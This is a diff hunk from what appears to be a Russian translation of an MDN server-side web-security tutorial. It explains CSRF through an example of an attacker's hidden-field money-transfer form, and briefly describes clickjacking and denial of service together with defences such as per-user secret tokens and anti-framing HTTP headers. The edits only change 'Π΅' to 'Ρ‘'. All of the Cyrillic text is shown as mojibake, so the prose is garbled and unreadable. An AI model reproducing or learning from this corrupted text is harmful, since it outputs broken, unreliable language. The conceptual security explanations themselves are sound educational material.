-<p>CSRF-Π°Ρ‚Π°ΠΊΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ дСйствия, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π±Π΅Π· Π΅Π³ΠΎ Π²Π΅Π΄ΠΎΠΌΠ° ΠΈΠ»ΠΈ согласия.</p>
+<p>CSRF-Π°Ρ‚Π°ΠΊΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ дСйствия, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π±Π΅Π· Π΅Π³ΠΎ Π²Π΅Π΄ΠΎΠΌΠ° ΠΈΠ»ΠΈ согласия.</p>
-<p>Π­Ρ‚ΠΎΡ‚ Ρ‚ΠΈΠΏ Π°Ρ‚Π°ΠΊΠΈ Π»ΡƒΡ‡ΡˆΠ΅ всСго ΠΏΠΎΡΡΠ½ΠΈΡ‚ΡŒ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅. Π”ΠΆΠΎΠ½ - Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π½Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ сайт позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ, вошСдшим Π² систСму, ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ дСньги Π½Π° ΡƒΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ ΡƒΡ‡Π΅Ρ‚Π½ΡƒΡŽ запись, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ HTTP-запрос <code>POST</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ имя ΡƒΡ‡Π΅Ρ‚Π½ΠΎΠΉ записи ΠΈ сумму Π΄Π΅Π½Π΅Π³. Π”ΠΆΠΎΠ½ создаСт Ρ„ΠΎΡ€ΠΌΡƒ, которая Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя Π΅Π³ΠΎ банковскиС Ρ€Π΅ΠΊΠ²ΠΈΠ·ΠΈΡ‚Ρ‹ ΠΈ сумму Π΄Π΅Π½Π΅Π³ Π² Π²ΠΈΠ΄Π΅ скрытых ΠΏΠΎΠ»Π΅ΠΉ, ΠΈ отправляСт Π΅Π΅ ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ сайта (с ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ Β«ΠžΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΒ», замаскированной ΠΏΠΎΠ΄ ссылку Π½Π° сайт «быстрого обогащСния»).</p>
+<p>Π­Ρ‚ΠΎΡ‚ Ρ‚ΠΈΠΏ Π°Ρ‚Π°ΠΊΠΈ Π»ΡƒΡ‡ΡˆΠ΅ всСго ΠΏΠΎΡΡΠ½ΠΈΡ‚ΡŒ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅. Π”ΠΆΠΎΠ½ - Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π½Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ сайт позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ, вошСдшим Π² систСму, ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ дСньги Π½Π° ΡƒΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ ΡƒΡ‡Ρ‘Ρ‚Π½ΡƒΡŽ запись, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ HTTP-запрос <code>POST</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ имя ΡƒΡ‡Ρ‘Ρ‚Π½ΠΎΠΉ записи ΠΈ сумму Π΄Π΅Π½Π΅Π³. Π”ΠΆΠΎΠ½ создаёт Ρ„ΠΎΡ€ΠΌΡƒ, которая Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя Π΅Π³ΠΎ банковскиС Ρ€Π΅ΠΊΠ²ΠΈΠ·ΠΈΡ‚Ρ‹ ΠΈ сумму Π΄Π΅Π½Π΅Π³ Π² Π²ΠΈΠ΄Π΅ скрытых ΠΏΠΎΠ»Π΅ΠΉ, ΠΈ отправляСт Π΅Ρ‘ ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ сайта (с ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ Β«ΠžΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΒ», замаскированной ΠΏΠΎΠ΄ ссылку Π½Π° сайт «быстрого обогащСния»).</p>
-<p>Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ, Π½Π° сСрвСр Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ HTTP-запрос <code>POST</code>, содСрТащий свСдСния ΠΎ Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΈ ΠΈ Π»ΡŽΠ±Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ cookie Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ связал с сайтом (Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ связанных Ρ„Π°ΠΉΠ»ΠΎΠ² cookie сайта Π² запросы являСтся Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°). Π‘Π΅Ρ€Π²Π΅Ρ€ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ Ρ„Π°ΠΉΠ»Ρ‹ cookie ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΈΡ…, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, вошСл Π»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π² систСму ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ Π»ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΈ.</p>
+<p>Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ, Π½Π° сСрвСр Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ HTTP-запрос <code>POST</code>, содСрТащий свСдСния ΠΎ Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΈ ΠΈ Π»ΡŽΠ±Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ cookie Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ связал с сайтом (Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ связанных Ρ„Π°ΠΉΠ»ΠΎΠ² cookie сайта Π² запросы являСтся Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°). Π‘Π΅Ρ€Π²Π΅Ρ€ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ Ρ„Π°ΠΉΠ»Ρ‹ cookie ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΈΡ…, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, Π²ΠΎΡˆΡ‘Π» Π»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π² систСму ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ Π»ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΈ.</p>
<p>Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ любой ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒ <em>ΠžΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ</em>Β Π²ΠΎ врСмя Π²Ρ…ΠΎΠ΄Π° Π½Π° Ρ‚ΠΎΡ€Π³ΠΎΠ²Ρ‹ΠΉ сайт, ΡΠΎΠ²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΡŽ. Π”ΠΆΠΎΠ½ становится Π±ΠΎΠ³Π°Ρ‚Ρ‹ΠΌ.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:Β </strong>Π£Π»ΠΎΠ²ΠΊΠ° здСсь Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π”ΠΆΠΎΠ½Ρƒ Π½Π΅ Π½ΡƒΠΆΠ΅Π½ доступ ΠΊ Ρ„Π°ΠΉΠ»Π°ΠΌ cookie ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ (ΠΈΠ»ΠΈ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ). Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ сохраняСт эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈ автоматичСски Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π΅Π΅ Π²ΠΎ всС запросы ΠΊ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌΡƒ сСрвСру.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:Β </strong>Π£Π»ΠΎΠ²ΠΊΠ° здСсь Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π”ΠΆΠΎΠ½Ρƒ Π½Π΅ Π½ΡƒΠΆΠ΅Π½ доступ ΠΊ Ρ„Π°ΠΉΠ»Π°ΠΌ cookie ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ (ΠΈΠ»ΠΈ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ). Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ сохраняСт эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈ автоматичСски Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π΅Ρ‘ Π²ΠΎ всС запросы ΠΊ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌΡƒ сСрвСру.</p>
</div>
<p>Один ΠΈΠ· способов ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ этот Ρ‚ΠΈΠΏ Π°Ρ‚Π°ΠΊΠΈ - Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ сСрвСром запросы <code>POST</code>, содСрТащиС сСкрСт, созданный ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ сайта. Π‘Π΅ΠΊΡ€Π΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ прСдоставлСн сСрвСром ΠΏΡ€ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ Π²Π΅Π±-Ρ„ΠΎΡ€ΠΌΡ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠΉ для ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄ΠΎΠ². Π’Π°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ Π½Π΅ позволяСт Π”ΠΆΠΎΠ½Ρƒ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ свою ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π·Π½Π°Ρ‚ΡŒ сСкрСт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сСрвСр прСдоставляСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ. Π”Π°ΠΆΠ΅ Ссли ΠΎΠ½ ΡƒΠ·Π½Π°Π΅Ρ‚ сСкрСт ΠΈ создаст Ρ„ΠΎΡ€ΠΌΡƒ для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΎΠ½ большС Π½Π΅ смоТСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Ρƒ ΠΆΠ΅ Ρ„ΠΎΡ€ΠΌΡƒ для Π°Ρ‚Π°ΠΊΠΈ Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
@@ -120,11 +120,11 @@ original_slug: Learn/Server-side/First_steps/Π’Π΅Π±_Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ
<h3 id="ΠŸΡ€ΠΎΡ‡ΠΈΠ΅_ΡƒΠ³Ρ€ΠΎΠ·Ρ‹">ΠŸΡ€ΠΎΡ‡ΠΈΠ΅ ΡƒΠ³Ρ€ΠΎΠ·Ρ‹</h3>
-<p>Π”Ρ€ΡƒΠ³ΠΈΠ΅ распространСнныС Π°Ρ‚Π°ΠΊΠΈ / уязвимости Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚:</p>
+<p>Π”Ρ€ΡƒΠ³ΠΈΠ΅ распространённыС Π°Ρ‚Π°ΠΊΠΈ / уязвимости Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚:</p>
<ul>
- <li><a href="https://www.owasp.org/index.php/Clickjacking">Clickjacking</a>. Π’ этой Π°Ρ‚Π°ΠΊΠ΅ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠ»ΠΈΠΊΠΈ, ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹Π΅ для Π²ΠΈΠ΄ΠΈΠΌΠΎΠ³ΠΎ сайта Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня, ΠΈ направляСт ΠΈΡ… Π½Π° ΡΠΊΡ€Ρ‹Ρ‚ΡƒΡŽ Π½ΠΈΠΆΠ΅ страницу. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для отобраТСния Π·Π°ΠΊΠΎΠ½Π½ΠΎΠ³ΠΎ сайта Π±Π°Π½ΠΊΠ°, Π½ΠΎ Π·Π°Ρ…Π²Π°Ρ‚Π° ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… для Π²Ρ…ΠΎΠ΄Π° Π² Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΉ {{htmlelement("iframe")}} , ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΎΠΌ. Clickjacking Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π°ΠΆΠ°Ρ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΡƒ Π½Π° Π²ΠΈΠ΄ΠΈΠΌΠΎΠΌ сайтС, Π½ΠΎ ΠΏΡ€ΠΈ этом Π½Π° самом Π΄Π΅Π»Π΅ нСвольно Π½Π°ΠΆΠΈΠΌΠ°Ρ‚ΡŒ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ. Π’ качСствС Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ваш сайт ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ встраиваниС сСбя Π² iframe Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ сайтС, установив ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ HTTP.</li>
- <li><a href="/en-US/docs/Glossary/Distributed_Denial_of_Service">Denial of Service</a> (DoS). DoS ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ достигаСтся Π·Π° счСт наводнСния Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ сайта ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ запросами, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ доступ ΠΊ сайту Π½Π°Ρ€ΡƒΡˆΠ°Π΅Ρ‚ΡΡ для Π·Π°ΠΊΠΎΠ½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ. Запросы ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ просто многочислСнными ΠΈΠ»ΠΈ ΠΏΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡ‚ΡŒ большиС ΠΎΠ±ΡŠΠ΅ΠΌΡ‹ рСсурсов (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠ΅ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Ρ„Π°ΠΉΠ»ΠΎΠ²). Π—Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DoS ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, выявляя ΠΈ блокируя Β«ΠΏΠ»ΠΎΡ…ΠΎΠΉΒ» Ρ‚Ρ€Π°Ρ„ΠΈΠΊ, пропуская ΠΏΡ€ΠΈ этом Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ½Ρ‹Π΅ сообщСния. Π­Ρ‚ΠΈ срСдства Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ располоТСны ΠΏΠ΅Ρ€Π΅Π΄ Π²Π΅Π±-сСрвСром ΠΈΠ»ΠΈ Π½Π° Π½Π΅ΠΌ (ΠΎΠ½ΠΈ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ самого Π²Π΅Π±-прилоТСния).</li>
+ <li><a href="https://www.owasp.org/index.php/Clickjacking">Clickjacking</a>. Π’ этой Π°Ρ‚Π°ΠΊΠ΅ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠ»ΠΈΠΊΠΈ, ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹Π΅ для Π²ΠΈΠ΄ΠΈΠΌΠΎΠ³ΠΎ сайта Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня, ΠΈ направляСт ΠΈΡ… Π½Π° ΡΠΊΡ€Ρ‹Ρ‚ΡƒΡŽ Π½ΠΈΠΆΠ΅ страницу. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для отобраТСния Π·Π°ΠΊΠΎΠ½Π½ΠΎΠ³ΠΎ сайта Π±Π°Π½ΠΊΠ°, Π½ΠΎ Π·Π°Ρ…Π²Π°Ρ‚Π° ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… для Π²Ρ…ΠΎΠ΄Π° Π² Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΉ {{htmlelement("iframe")}} , ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΎΠΌ. Clickjacking Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π°ΠΆΠ°Ρ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΡƒ Π½Π° Π²ΠΈΠ΄ΠΈΠΌΠΎΠΌ сайтС, Π½ΠΎ ΠΏΡ€ΠΈ этом Π½Π° самом Π΄Π΅Π»Π΅ нСвольно Π½Π°ΠΆΠΈΠΌΠ°Ρ‚ΡŒ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ. Π’ качСствС Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ваш сайт ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ встраиваниС сСбя Π² iframe Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ сайтС, установив ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ HTTP.</li>
+ <li><a href="/en-US/docs/Glossary/Distributed_Denial_of_Service">Denial of Service</a> (DoS). DoS ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ достигаСтся Π·Π° счёт наводнСния Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ сайта ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ запросами, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ доступ ΠΊ сайту Π½Π°Ρ€ΡƒΡˆΠ°Π΅Ρ‚ΡΡ для Π·Π°ΠΊΠΎΠ½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ. Запросы ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ просто многочислСнными ΠΈΠ»ΠΈ ΠΏΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡ‚ΡŒ большиС ΠΎΠ±ΡŠΡ‘ΠΌΡ‹ рСсурсов (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠ΅ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Ρ„Π°ΠΉΠ»ΠΎΠ²). Π—Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DoS ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ 